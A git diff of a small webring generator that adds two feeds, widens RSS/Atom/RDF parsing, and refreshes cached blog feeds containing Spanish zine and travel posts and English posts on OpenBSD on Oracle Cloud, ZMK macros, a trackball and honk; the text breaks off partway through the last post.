diff --git a/Mi webring.gen.js b/Mi webring.gen.js index fb83e75..b4a2274 100644 --- a/Mi webring.gen.js +++ b/Mi webring.gen.js @@ -8,6 +8,8 @@ import { getElementsByTagName } from "domutils"; const feeds = { fauno: "https://fauno.endefensadelsl.org/feed.xml", copiona: "https://copiona.com/feed.xml", + j3s: "https://j3s.sh/feed.atom", + icyphox: "https://icyphox.sh/blog/feed.xml", }; export default async () => { @@ -56,10 +58,19 @@ function parseFeed(rawFeed) { const item = feed?.items[0]; const dom = parseDocument(rawFeed); - const feedDom = getElementsByTagName("feed", dom.childNodes, false)[0]; + const feedDom = getElementsByTagName( + (n) => n === "rss" || n === "feed" || n === "rdf:RDF", + dom.childNodes, + false + )[0]; const linksDom = getElementsByTagName("link", feedDom.childNodes, false); - const linkDom = linksDom.find((d) => d.attribs.rel === "alternate"); - + const linkDom = linksDom.find( + (d) => + d.attribs.rel === "alternate" || + // https://datatracker.ietf.org/doc/html/rfc4287#section-4.2.7.2 + // >If the "rel" attribute is not present, the link element MUST be interpreted as if the link relation type is "alternate". + !("rel" in d.attribs) + ); if ( !feed || !feed.link || diff --git a/cached-feeds/copiona.xml b/cached-feeds/copiona.xml index 1071472..6243ea9 100644 --- a/cached-feeds/copiona.xml +++ b/cached-feeds/copiona.xml @@ -1,4 +1,55 @@ -Jekyll2023-02-06T18:15:42-03:00/feed.xmlcopiona.com | un bunker biteario de @librenautaMigrar bots a mastodon2023-02-06T00:00:00-03:002023-02-06T17:20:21-03:00/migrar-bots-a-mastodonMigrar bots de tw a mastodon +Jekyll2023-04-10T08:56:41-03:00/feed.xmlcopiona.com | un bunker biteario de @librenautaRisografía - internet es una poesía sin terminar2023-04-08T00:00:00-03:002023-01-23T20:20:21-03:00/internet-es-una-poes%C3%ADa-sin-terminarViajé a barcelona y unos días antes pude contactarme con dotheprint un pequeño estudio de impresión de risografía para hacer algunas copias locales. La verdad no sabía muy bien como sería el resultado de la impresión asi que me vi unos tutoriales de como generar cada capa en youtube color por color y mande a imprimir un fanzine que diseñe en viaje llamado: internet es una poesía sin terminar

+
+

Un poco engloba cuál es la internet que quiero y por qué :F

+
+

internet-es-una-poesía-sin-terminar

+
+

acá se puede puede bajar el pdf para leerlo online

+

acá se pueden bajar un .zip con los archivos separados por color para imprimir en risografía.

+

Acá una muestra de las capas, el diseño esta hecho en inkscape en 2 colores + opacidades y luego procesado en gimp separando cada color en una máscara y exportandolo :D

+

Es importante saber que la máquina de risografía sólo lee valores en escala de grises. por eso las placas siguientes están en negro, el color lo aplica cuando imprime cada tambor. ∩`-´)⊃━( . °°. )

]]>
Librenauta
Log 0202023-04-08T00:00:00-03:002023-04-08T17:30:05-03:00/log-20 +
  • mirar el movimiento, se escapa de nuestros músculos
  • +]]>
    librenauta
    EU-librenauta2023-03-15T00:00:00-03:002023-01-20T20:20:21-03:00/EU-librenautaRoadtrip +
    +

    tiempo: [16.03.2023] al [30.04.2023]

    +
    +
      +
    • +

      15.03.2023 Buenos Aires > Madrid ~ aeropuerto

      +
    • +
    • +

      16.03.2023 Madrid > Valencia en tren renfe. El primer lugar que voy a visitar es Carcaixent.

      +
    • +
    • +

      22.03.2023 Valencia > Barcelona en tren renfe. me cruzo con sofie & milton en su casa. y después un piso en el centro de bcn

      +
    • +
    • +

      03.04.2023 Barcelona > Berlin en avión ~ tren a Berlin Friedrichstraße station para llegar caminando al hostel

      +
    • +
    • +

      10.04.2023 Berlin > Rotterdam ~ tren hasta la rotterdam central station

      +
    • +
    • +

      16.04.2023 Rotterdam > Bruselas ~ tren de rotterdam central station a Brusells-Mid

      +
    • +
    • +

      16.04.2023 Bruselas > Londres ~ salgo para londres en el Eurostar, llego a St Pancras International y luego hostel

      +
    • +
    • +

      22.04.2023 Londres > Valencia ~ avión

      +
    • +
    • +

      29.04.2023 Valencia > Madrid ~ tren para la estación

      +
    • +
    • +

      29.04.2023 Madrid > Argentina

      +
    • +
    +
    +

    EZE>MAD>VLC>BCN>BER>BRU>STN>VLC>MAD>EZE

    +
    ]]>
    Librenauta
    Quemar un libro 8 [ Un jardín by Cian ]2023-03-14T00:00:00-03:002023-03-15T18:25:21-03:00/quemar-un-libro-un-jardinUn Jardín by @soycian +

    Es un pequeño pero muy meticuloso fanzine: permite jugar, mirar a través de las ventanitas y conocer a cian desde el ángulo perfecto: la sensibilidad.

    +

    aquí el scann para descarga <3 para mirar de cerquita, imprimir, copiar y compartir.

    ]]>
    librenauta
    Migrar bots a mastodon2023-02-06T00:00:00-03:002023-02-06T17:20:21-03:00/migrar-bots-a-mastodonMigrar bots de tw a mastodon

    El 7.02.2023 la API1 de tw se cierrá, musk (el dueño de tw) cerrará el acceso de forma gratuita, esto constituye la muerte muchísimos bots que mejoraban mi experiencia en esa plataforma. definitivamente era una de las pocas cosas que me acercaban a tw. todos los bots creados con cheapbotsdonequick.com/ morirán a partir de mañana. tanto como los crossposters como crossposter.masto.donte.com.br/ y las paginas para encontrar gente cerca en tw.

    Por suerte para cada decision individual de una empresa hay una propuesta colectiva

      @@ -31,37 +82,4 @@

    flores flores -flores

    ]]>
    Librenauta
    Restos2023-01-23T00:00:00-03:002023-01-23T20:20:21-03:00/restosSintetizar el suelo con una paleta de colores de restos.

    ]]>
    Librenauta
    veo veo2023-01-18T00:00:00-03:002023-01-18T17:20:21-03:00/veo-veoel amor :D -

    El amor puede ser de a varies

    -

    el-amor -el-amor

    -
    -

    Descripción gráfica de cuando me gusta una chica -el-amor

    -

    Descripción gráfica de cuando me gustan dos chicas -el-amor

    -

    Descripción gráfica de cuando -el-amor

    -

    Descripción gráfica de cuando te gusta una chica pero no te da bola

    -

    el-amor

    -
    -

    el amor se derrama, me encantó esto en plan: se mueve, cambia, transforma y es imparable

    -
    -

    el amor es:

    -
      -
    • risa cómplice
    • -
    • regalar un fanzine
    • -
    • esperar un tren
    • -
    • actuar con normalidad
    • -
    • saber que un regalo salió bien
    • -
    • dejar de sostener la mirada
    • -
    • leer poesía no academica
    • -
    • enviar coordenadas precisas
    • -
    • contar los dedos de tu mano
    • -
    • creer que estás enamoradx.
    • -
    -
    ]]>
    Librenauta
    Un acto2023-01-18T00:00:00-03:002023-01-18T00:00:00-03:00/nube-10La inteligencia no es sólo ser útil para el capitalismo

    ]]>
    Librenauta
    Quemar un libro 6 [ Trizas Trazos Trazas ]2023-01-16T00:00:00-03:002023-01-16T12:20:21-03:00/quemar-un-libro-6-trizas-trazos-trazasTrizas Trazos Trazas by Victoria Burgos, Gaby Peral, Bárbara Stark and Ángeles Torino -

    Cuando estuve en la mani en córdoba previamente charlamos con victoria y nos encontramos para hacer un trueque hermoso. Se llevó algunas cosas y me dejó esta joyita en risografía licenciada en CC 4.0 internacional. Lamentablemente no se pueden hacer obras derivadas de este material por la licencia pero si se puede compartir.

    -

    aquí el scann para descarga <3 para mirar de cerquita y copiar

    ]]>
    librenauta
    BRC - Frey2023-01-11T00:00:00-03:002022-12-30T19:20:21-03:00/brc-freyBRC - Frey]]>LibrenautaLog 0182023-01-08T00:00:00-03:002023-01-08T10:00:05-03:00/log-18 -
  • trabajar con esta shell. <3
  • -]]>
    librenauta
    \ No newline at end of file +flores

    ]]>
    Librenauta
    Restos2023-01-23T00:00:00-03:002023-01-23T20:20:21-03:00/restosSintetizar el suelo con una paleta de colores de restos.

    ]]>
    Librenauta
    Un acto2023-01-18T00:00:00-03:002023-01-18T00:00:00-03:00/nube-10La inteligencia no es sólo ser útil para el capitalismo

    ]]>
    Librenauta
    \ No newline at end of file diff --git a/cached-feeds/icyphox.xml b/cached-feeds/icyphox.xml new file mode 100644 index 0000000..7b15a7e --- /dev/null +++ b/cached-feeds/icyphox.xml @@ -0,0 +1,474 @@ + + + icyphox + + https://icyphox.sh/ + 2023-03-21T22:11:58+02:00 + + + Anirudh Oppiliappan + x@icyphox.sh + + + I am moving to Finland + 2023-01-18T00:00:00Z + tag:icyphox.sh/,2023-01-18:blog/finland + + <h2>This is what I was packing for</h2> <p>The past two weeks or so have felt like a fever dream. It&rsquo;s been a blurry daze ever since I received my passport from the Finnish Embassy in New Delhi. I still can&rsquo;t believe everything has finally materialized and this move is actually happening. In about 10 hours from now, I will be boarding my flight from Bangalore, transiting via Doha, to Helsinki.</p> <p>So, how did this come about? I got employed there&mdash;I&rsquo;m joining <a href="https://upcloud.com" rel="nofollow">UpCloud</a> as an SRE in their Orchestration team, and will be working out of Helsinki. They helped with the immigration process and will also be helping out with certain initial local affairs and apartment hunting.</p> <p>The biggest, most obvious change for me will be the weather. Going from around 25°C to near-zero temps will need some acclimatization. I bought the thickest, heaviest, water &amp; snow-proof parka that Decathlon had to offer, along with some monstrous snow boots&mdash;I hope it&rsquo;ll suffice for the first few days.</p> <p>I&rsquo;m very much looking forward to life there&mdash;low pollution, clean water, fresh produce (berries!), excellent public transport. Oh and of course, the <em>slightly</em> less population density. Fun fact: the total population of the entirety of Finland (5.6 million) is less than half of Bangalore&rsquo;s (13 something million).</p> <p>Suffice to say, I&rsquo;m beyond stoked for this new beginning both in Helsinki and at UpCloud. I&rsquo;ll post an update once I&rsquo;ve settled down. In the meanwhile, my <a href="https://h.icyphox.sh/@icy" rel="nofollow">fedi</a> will have more frequent updates.</p> <p>Moikka!</p> + + + 2022 in review + 2023-01-14T00:00:00Z + tag:icyphox.sh/,2023-01-14:blog/2022-in-review + + <h2>Late again because I was busy packing</h2> <p>Quite possibly the &ldquo;fastest&rdquo; year I&rsquo;ve experienced&mdash;it feels like yesterday when 2022 began. I think I <em>did</em> a lot last year, contrary to previous years where I felt I&rsquo;d just squandered my time away. Which is partly great because more content! But also not great, because I have to write it. It&rsquo;s not that I don&rsquo;t enjoy writing anymore (despite what the number of posts in 2022 might lead you to believe), I just find it harder to sit and do the thing&mdash;perhaps something to think about and investigate in 2023. But I digress&mdash;as I said, I did get a lot done last year, so let&rsquo;s get right into it.</p> <h2 id="projects-hacks">projects &amp; hacks</h2> <p>I&rsquo;m only talking about software projects here, since this time around, we&rsquo;ve got some hardware hacks (ooh!).</p> <p>First on the list is <a href="https://git.icyphox.sh/legit" rel="nofollow">legit</a>, a web frontend for git. A very important characteristic of legit that <em>needs</em> mention is the fact that it&rsquo;s written in Go&mdash;it&rsquo;s even the name of the first major release (<a href="https://git.icyphox.sh/legit/refs" rel="nofollow">v0.2.0</a>).<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> On a more serious note, it&rsquo;s probably the nicest thing I&rsquo;ve built from scratch and it&rsquo;s very cool to see legit instances in the wild. I consider it <em>mostly</em> feature complete, barring a couple of outstanding PRs that I have yet to get to.</p> <p>Next up is <a href="https://git.icyphox.sh/honk" rel="nofollow">honk</a>. Not really my <em>own</em> project, but something I spent a non-negligible amount of time hacking on. The honk lives in my head, rent-free. A few changes in my honk fork are:</p> <ul> <li>user profile pictures</li> <li>color scheme and UI</li> <li>pretty @ URLs (like <a href="https://h.icyphox.sh/@icy" rel="nofollow">https://h.icyphox.sh/@icy</a>)</li> <li>bunch of other miscellaneous thingamajigs</li> </ul> <p>Lastly, I <a href="/blog/openbsd-oci/">installed OpenBSD</a> on my Oracle VM and now everything runs off it, this site included.</p> <p>Probably not a &ldquo;project&rdquo;, but I&rsquo;ll include it here anyway: I switched my entire <a href="https://git.icyphox.sh/dotfiles" rel="nofollow">dotfiles</a> setup to Nix and home-manager and rest of that shit I used to filter on Lobste.rs. While I like the declarativeness, I won&rsquo;t pretend I understand the half of it. Believe me, I&rsquo;ve tried. But it mostly just works the way I have it, so I&rsquo;ll leave it at that.</p> <h2 id="keyboards-my-first-new-expensive-hobby">keyboards: my (first) new expensive hobby</h2> <p>Normal 60% keyboards are out&mdash;ergonomic split ortho keyboards are in. I built three keyboards this year: the Lotus58, and two semi-custom 34-key wireless splits: the <a href="https://github.com/icyphox/ferricy" rel="nofollow">Ferricy</a>, and the Ferricy Choc.</p> <div class="row"> <img src="https://cdn.icyphox.sh/F9YxI.jpeg" style="width: 500px"/> <img src="https://cdn.icyphox.sh/rgVrx.jpeg" /> <img src="https://cdn.icyphox.sh/LUqg9.jpeg" /> </div> <p>There&rsquo;s a lot to write about keyboards and how I use mine, but I&rsquo;ll likely write a separate post covering that since it&rsquo;s fairly interesting and pretty long-winded. Until then, you can read <a href="https://peppe.rs/posts/programming_on_34_keys/" rel="nofollow">Nerdy&rsquo;s article</a> on the subject.</p> <h2 id="my-time-at-ory">my time at Ory</h2> <p>Sometimes things don&rsquo;t work out and it&rsquo;s best to cut your losses and bounce. I came away with only positives and I greatly enjoyed my time at Ory. I got to work on some rather exciting stuff like:</p> <ul> <li>distributed tracing using OTel and Tempo</li> <li>centralized multi-cluster logging using Loki and Promtail</li> <li>tackling interesting engineering problems like caching sessions at edge</li> <li>a whole bunch more&hellip;</li> </ul> <p>No ragrets.</p> <h2 id="travel">travel</h2> <p>A decent amount of travel last year: a week in Goa, three days in Jaipur, two days in Chikmagalur and one day in New Delhi. Here&rsquo;s one picture from each trip, in order.</p> <div class="row"> <img src="https://cdn.icyphox.sh/6CuTI.jpeg" /> <img src="https://cdn.icyphox.sh/96xo7.jpeg" /> <img src="https://cdn.icyphox.sh/xc9ty.jpeg" /> <img src="https://cdn.icyphox.sh/jxhk0.jpeg" /> </div> <h2 id="fitness">fitness</h2> <p>My fitness journey has seen considerable improvement. I streamlined my routine for the most part, and I&rsquo;ve stuck to it. My usual week now consists of 3&ndash;4 upper body workouts, about 2 core workouts and 2 runs, about 5 or 6km.</p> <p>My ability to run has also greatly increased. I used to struggle to hit 5ks back in 2021&mdash;I can now comfortably run 8k and still feel pretty good after. Granted, I&rsquo;m not running for time&mdash;my fastest 5k (the only time I timed it) is a rather generous 26 minutes.</p> <p>One major change I made in the latter half of last year was switching to calisthenics for all my strength training. My ultimate goal is to be able to do a full planche and front lever unassisted. I can currently hold a tucked front lever for about 10 seconds&mdash;but hey, progress is progress.</p> <p>2022 was the year I got decently shredded. Still not quite Chris Heria, but we&rsquo;re getting there. I&rsquo;d put myself somewhere around 15% body fat, on a good day. I didn&rsquo;t <em>strictly</em> regulate my diet, but I was somewhat conscious about what I was eating. A rough daily calorie estimate is constantly in the back of my head. For &lsquo;23, I&rsquo;d like to be a little more meticulous and properly count my calorie intake.</p> <h2 id="reading">reading</h2> <p><a href="/reading">Reading</a> was definitely on the forefront of 2022. I made a conscious effort to spend a set amount of time each day reading&mdash;until about late November when I simply stopped. I can&rsquo;t remember why I did, but for me, it&rsquo;s really easy to &ldquo;lose&rdquo; a habit&mdash;week or two of not reading, and I&rsquo;ll find myself moving on to other things. Another thing to think about for 2023.</p> <p>In 2022, I read 15 books (dropped one). I&rsquo;m discounting <em>Assassin&rsquo;s Apprentice</em> since I have yet to get around to finishing it. Looking back, I can&rsquo;t pick any single standout read of last year, except maybe Patrick Rothfuss&rsquo; <em>Kingkiller Chronicle</em>, which I still think about.</p> <p>I remember mentioning <em>The Wheel of Time</em> series in my <a href="/blog/2021-in-review">2021 retrospective</a>. I managed to read the first two, but couldn&rsquo;t get into the third. Jordan&rsquo;s writing doesn&rsquo;t make for the easiest of reading, and&mdash;I speak for myself when I say this&mdash;spacing it out is probably best. Except I never got back.</p> <p>This year, I&rsquo;m hoping to read:</p> <ul> <li>more of <em>Dune</em></li> <li><em>The Doors of Stone</em> please dear God</li> <li>some more <em>Wheel of Time</em>, I think I&rsquo;ve taken a long enough break</li> <li><em>The Lost Metal</em>, despite not enjoying Era 2 as much</li> </ul> <h2 id="this-site">this site</h2> <p>Reject modernity, embrace tradition&mdash;only the one tradition where we talk about this site and count the number of blog posts I wrote!</p> <pre><code>grep 'date: 2022' pages/blog/*.md | wc -l 8 </code></pre> <p>Lowest yet, and the trend year-over-year doesn&rsquo;t look promising. I don&rsquo;t think I&rsquo;ll ever <em>completely</em> stop writing, but I certainly won&rsquo;t be writing as much as I used to. I&rsquo;ve largely stopped writing &ldquo;commentary&rdquo; since it&rsquo;s pretty pointless and inherently tied to the news cycle&mdash;it loses readability value even just a month later.</p> <h2 id="miscellaneous">miscellaneous</h2> <p>The catch-all. The flytrap. The part where everything else too small to deserve its own subsection get fleeting mentions. Let&rsquo;s run through them real quick since I&rsquo;m losing patience and the date on this blog post has been changed four times already.</p> <p><strong>The bullet journal</strong>: I <a href="/blog/bujo">wrote about this</a> in &lsquo;21. While the method largely remains the same, the size of my notebook has decreased to A6, drawing inspiration from one of <a href="https://ratfactor.com/notes" rel="nofollow">my favourite articles on note taking</a>. The smaller size allows me to carry it around pretty easily, and the thinness lets me clip my ball-pen at the current page.</p> <p><img src="https://cdn.icyphox.sh/WtFWq.jpeg" alt="bujo" /></p> <p><strong>Watches</strong>: My (second) new expensive hobby. I went down the rabbithole of <a href="https://en.wikipedia.org/wiki/HMT_Limited" rel="nofollow">HMT</a><sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> watches and instantly fell in love. I&rsquo;ll admit HMT watches aren&rsquo;t <em>that</em> expensive, but I&rsquo;ve been looking at some Seikos and Hamiltons that I&rsquo;d like to buy this year.</p> <p><img src="https://cdn.icyphox.sh/X17~Q.webp" alt="hmt jhalak" /></p> <p><strong>Podcasts</strong>: Made some great podcast discoveries last year:</p> <ul> <li><a href="https://ourfakehistory.com/" rel="nofollow">Our Fake History</a>: deep dives into historical hoaxes</li> <li><a href="https://encyclopediageopolitica.com/how-to-get-on-a-watchlist/" rel="nofollow">How to Get on a Watchlist</a>: experts discuss dangerous activities</li> <li><a href="https://www.offmenupodcast.co.uk/" rel="nofollow">Off Menu</a>: Ed Gamble and James Acaster run an imaginary restaurant</li> <li><a href="https://therussianempirehistorypodcast.com/" rel="nofollow">The Russian Empire History Podcast</a>: what it says on the tin</li> </ul> <h2 id="in-2023">in 2023&hellip;</h2> <p>There&rsquo;s a lot that happened last year, and there&rsquo;s <em>a whole lot more</em> that&rsquo;s going to happen this year&mdash;and very soon. I&rsquo;ve been hinting at it for a while on the <a href="https://h.icyphox.sh/@icy" rel="nofollow">fedi</a>. I&rsquo;ve been packing a whole lot for it, and it&rsquo;s a mere 4 days away as I write this. It&rsquo;s a massive life update that I&rsquo;m beyond stoked about&mdash;I&rsquo;ll write about it here in few days.</p> <p>Until then, thanks for sticking around and I&rsquo;ll see you in a jiff.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><p>Some folks on the red site <a href="https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_ybjpfm" rel="nofollow">really</a> <a href="https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_hgnuco" rel="nofollow">didn&rsquo;t</a> <a href="https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_t4tl4w" rel="nofollow">like</a> it. :^)</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">Also see <a href="https://old.reddit.com/r/hmtwatches" rel="nofollow">r/hmtwatches</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Installing OpenBSD on Oracle Cloud + 2022-11-24T00:00:00Z + tag:icyphox.sh/,2022-11-24:blog/openbsd-oci + + <h2>It finally works in 7.2!</h2> <p>I&rsquo;ve been trying to get OpenBSD to install on OCI since <a href="https://marc.info/?l=openbsd-misc&amp;m=162962869305286&amp;w=2" rel="nofollow">early last year</a>. As described in my email to misc@, my intial method of installation was rather unconventional:</p> <ul> <li>Download the install image to tmpfs</li> <li>dd it onto the host boot device (/dev/sda)</li> <li>Reboot</li> </ul> <p>This works perfectly for Alpine, I&rsquo;ll have you know but not so much for OpenBSD. I don&rsquo;t know why. Anyway, with that rather useless preface aside, <a href="https://openbsd.org/72.html" rel="nofollow">OpenBSD now supports</a> booting on amd64 OCI instances:</p> <blockquote> <p>Allowed bsd.rd and bsd/bsd.mp to boot on Oracle Cloud amd64 instances.</p> </blockquote> <p>This time around, I decided to try a somewhat less nuclear approach to booting it. The steps I followed were from a kind <a href="https://blinken.life/oci-obsd/" rel="nofollow">internet stranger&rsquo;s article</a>, coincedentally ranting about how they <em>failed</em> to boot OpenBSD on OCI.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p> <p>It&rsquo;s fairly straight forward, and you&rsquo;ll be fine simply following the steps in the article I linked above; but since you&rsquo;re here, let&rsquo;s run through them real quick:</p> <ol> <li><p>Download the <code>install72.img</code> onto an OpenBSD machine. Trust me, dealing with loopback mounts is not fun on Linux.</p></li> <li><p>&ldquo;Mount&rdquo; the install image using <a href="https://man.openbsd.org/vnconfig" rel="nofollow">vnconfig(8)</a>:</p> <pre><code>vnconfig vnd0 install72.img mount /dev/vnd0a /mnt </code></pre></li> <li><p>Configure booting over serial:</p> <pre><code>echo 'set tty com0' &gt; /mnt/etc/boot.conf </code></pre></li> <li><p>Convert the modified <code>install72.img</code> to qcow2 using <code>qemu-img</code>. We will be uploading this to OCI as a custom image.</p> <pre><code>qemu-img convert -O qcow2 install72.img install.qcow2 </code></pre></li> <li><p>Uploading the image requires creating an object storage bucket first. Navigate to Storage → Buckets and create one. Call it whatever.</p></li> <li><p>Upload the qcow2 from step 4.</p></li> <li><p>Head to Compute → Custom Images and click Import Image. Choose your bucket and qcow2 and select image type as QCOW2. We&rsquo;ll stick to Paravirtualized mode. Give it a bit.</p></li> <li><p>Once it&rsquo;s done importing, create a new amd64 instance like you normally would, and choose your newly created custom image. Don&rsquo;t bother with SSH keys.</p></li> <li><p>Launch a console connection to access the serial boot. You should hopefully see the OpenBSD installer. You might have to hit Enter once. Hit &lsquo;I&rsquo; and start the install.</p></li> <li><p>There should only be one disk available. Choose that. Everything else should just work like in any other OpenBSD install.</p></li> </ol> <p>That&rsquo;s about it. I for one am super excited to move all my instances to OpenBSD. As always, <a href="https://www.openbsd.org/donations.html" rel="nofollow">donate to the OpenBSD project</a> to ensure the continued development of our beloved puffy.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1">I pinged them on the fedi to let them know it works now: <a href="https://h.icyphox.sh/u/icy/h/3NGd59X2d6Kr958Nt2" rel="nofollow">https://h.icyphox.sh/u/icy/h/3NGd59X2d6Kr958Nt2</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Unicode text input in ZMK + 2022-10-18T00:00:00Z + tag:icyphox.sh/,2022-10-18:blog/zmk-unicode + + <h2>A hacky interim solution using macros</h2> <p>As a highly cultured em-dash (over-)user, being able to type &lsquo;—&rsquo; easily is very important to me. While waiting for <a href="https://github.com/zmkfirmware/zmk/issues/232" rel="nofollow">zmkfirmware/zmk#232</a> to get merged, I&rsquo;ve discovered a rather nifty workaround for inputting Unicode text. This method makes use of <a href="https://github.com/ibus/ibus" rel="nofollow">IBus</a> and a ZMK macro.</p> <p>Unicode input in IBus is done by typing <code>Ctrl</code> + <code>Shift</code> + <code>U</code> followed by the Unicode codepoint and then a <code>Space</code> or <code>Return</code>. Writing this as a ZMK macro, we get something like:</p> <pre><code class="language-dts">macros { uc_dash: uc_dash { label = &quot;UNICODE_DASH&quot;; compatible = &quot;zmk,behavior-macro&quot;; #binding-cells = &lt;0&gt;; tap-ms = &lt;0&gt;; wait-ms = &lt;0&gt;; bindings = &lt;&amp;macro_press &amp;kp LCTRL &amp;kp LSHFT&gt; , &lt;&amp;macro_tap &amp;kp U&gt; , &lt;&amp;macro_release &amp;kp LCTRL &amp;kp LSHFT&gt; , &lt;&amp;macro_tap &amp;kp N2 &amp;kp N0 &amp;kp N1 &amp;kp N4 &amp;kp SPC&gt; ; }; }; </code></pre> <p>Where the numbers <code>2014</code> denote the codepoint for an em-dash. Set the <code>wait-ms</code> and the <code>tap-ms</code> to <code>0</code> to make it instantaneous&mdash;your keyboard will essentially type out the entire key combo really fast. The resulting keycode <code>uc_dash</code> can be used in any <code>bindings</code> field. I have it on a separate Unicode layer.</p> <p>The unfortunate caveat is it only works where IBus works, and it doesn&rsquo;t seem to work in Qt applications. Granted, I only really need it in my browser and Signal/Slack Desktop (Electron) so that isn&rsquo;t a dealbreaker.</p> <p>My ZMK config is <a href="https://github.com/icyphox/ferricy-zmk" rel="nofollow">here</a>.</p> + + + The Logitech Ergo M575 trackball + 2022-07-01T00:00:00Z + tag:icyphox.sh/,2022-07-01:blog/m575 + + <h2>A short review of my first ever trackball</h2> <p>Ever since switching to a split keyboard, using a mouse has been rather awkward. Do I put it in between the two halves? Not enough space. Do I put it to the right? Again, not enough space since that&rsquo;s where my notebook sits. And then there was the pain. I had to take routine breaks from using the mouse due to pain on the bottom-left side of my palm.</p> <p>Enter, the trackball. Trackballs are pointing devices much like the slightly more popular rodent. They&rsquo;re super old&mdash;dating right back to the post-World War II era.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> Largely speaking, there are two kinds of trackballs: thumbballs and fingerballs. A thumbball, like the name suggests, is operated using the thumb. A fingerball (also called as ambidextrous trackballs) has the ball in the center, with buttons on either side. They behave quite like a laptop&rsquo;s touchpad.</p> <p>Trackballs take up very little space (check!), and are known to help with RSI (also check!). So I got one.</p> <p><img src="https://cdn.icyphox.sh/KPMds.jpg" alt="logitech ergo m575" /></p> <p>I got the <a href="https://www.logitech.com/en-in/products/mice/m575-ergo-wireless-trackball.910-005873.html" rel="nofollow">Logitech Ergo M575</a>. This is the cheapest Bluetooth trackball available in India. I bought it for around INR 3500 (≈45 USD). It sits comfortably and stably in between the two halves of my keyboard; it is so much easier on my hand&mdash;it has greatly alleviated my pain. Pictured below is my actual desk right now<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>.</p> <p><img src="https://cdn.icyphox.sh/O97-8.jpg" alt="my messy table" /></p> <p>The M575 is larger than your typical mouse but that&rsquo;s fine since it doesn&rsquo;t move. Its curved shape is very satisfying to hold&mdash;it fills your entire palm. The build quality is pretty solid. It&rsquo;s all plastic, but that&rsquo;s a good thing. Rubberized finishes are harder to clean and start getting gooey and icky after a while.</p> <div class="row"> <img src="https://cdn.icyphox.sh/PeP0g.jpg" style="width:300px" /> <img src="https://cdn.icyphox.sh/gR2La.jpg" style="width:300px" /> <img src="https://cdn.icyphox.sh/Hdw-p.jpg" style="width:300px" /> </div> <p>There are a total of 5 buttons: the left and right, scroll wheel and the forward/backward buttons, which sit to the top left. I&rsquo;m not sure I like their positioning however&mdash;I prefer them by the thumb. I suppose the ball takes up that space. Speaking of the ball: it&rsquo;s a sparkly plastic-ish (not sure really) material and it&rsquo;s pretty light. It can (and needs to be) popped off now and then for cleaning. The ball sits on three ceramic bearings which are very smooth.</p> <p>It ships with a single AA battery with an advertised runtime of 24 months. Connectivity is either via Bluetooth or a USB-A dongle found in the battery compartment.</p> <p>As for software, <a href="https://github.com/pwr-Solaar/Solaar" rel="nofollow">Solaar</a> is a GUI (and a CLI) for various Logitech devices, the M575 included. I couldn&rsquo;t get much use out of it aside from tweaking DPI settings.</p> <p><img src="https://cdn.icyphox.sh/2d09m.png" alt="solaar screenshot" /></p> <p>A neat trick, and decidedly more useful, is enabling scrolling using the trackball. On NixOS<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>, this simply requires adding the following to <code>services.xserver</code>:</p> <pre><code class="language-nix">libinput = { enable = true; mouse = { scrollButton = 2; scrollMethod = &quot;button&quot;; }; }; </code></pre> <p>With this, I can simply hold down the left and right buttons (equivalent to pressing the scroll wheel), and scroll with the trackball. Want to scroll all the way to the bottom? Just flick! It&rsquo;s glorious.</p> <p>I&rsquo;m a baller now.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://en.wikipedia.org/wiki/Trackball#History" rel="nofollow">https://en.wikipedia.org/wiki/Trackball#History</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">That is indeed another split keyboard in the works. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3"><p>Refer to <a href="https://wiki.archlinux.org/title/libinput#Scroll_with_mouse_by_holding_a_button" rel="nofollow">this Arch Wiki entry</a> for how it&rsquo;s done on other Linuxes.</p> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Honkin' on the Fly + 2022-05-25T00:00:00Z + tag:icyphox.sh/,2022-05-25:blog/honk-fly + + <h2>Running honk on fly.io</h2> <p><strong>Update 2022&ndash;08&ndash;11</strong>: As with literally every update of mine, I&rsquo;m no longer running honk on Fly. It&rsquo;s way easier to simply run it on a server myself, behind nginx. Huh&mdash;who knew?</p> <p>For those unaware&mdash;first of all, how? it&rsquo;s literally everywhere&mdash;<a href="https://fly.io" rel="nofollow">fly.io</a> is the new platform-as-a-service du jour. The idea is to give them a Dockerfile (or a pre-built image, or just generic applications in <a href="https://fly.io/docs/getting-started/#language-guides" rel="nofollow">a bunch of languages</a>), and they run it for you on servers across the globe. Firecracker microVMs, WireGuard, and some other neat tech. Understandably, this gets the average Hacker News-type (me), excited. And I&rsquo;d been meaning to switch my fediverse instance over to <a href="https://humungus.tedunangst.com/r/honk" rel="nofollow">honk</a>&mdash;a stateful Go application using sqlite<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>. And the fly.io folks <a href="https://fly.io/blog/all-in-on-sqlite-litestream/" rel="nofollow">really like sqlite</a>. The stars have aligned.</p> <p>I trust that you can figure out the initial setup bits like logging in to the dashboard and giving them your credit card info and praying that they don&rsquo;t run you a bill of $5000 because you somehow blew through their free allowance resources. As I understand it, Fly &ldquo;auto-scales&rdquo;, so this scenario isn&rsquo;t unlikely&mdash;however, <a href="https://news.ycombinator.com/item?id=31392497" rel="nofollow">they do offer some leniency</a>. Luckily, the chances of me turning into a fedi-influencer (<em>fedifluencer</em>?) overnight are rather slim.</p> <h2 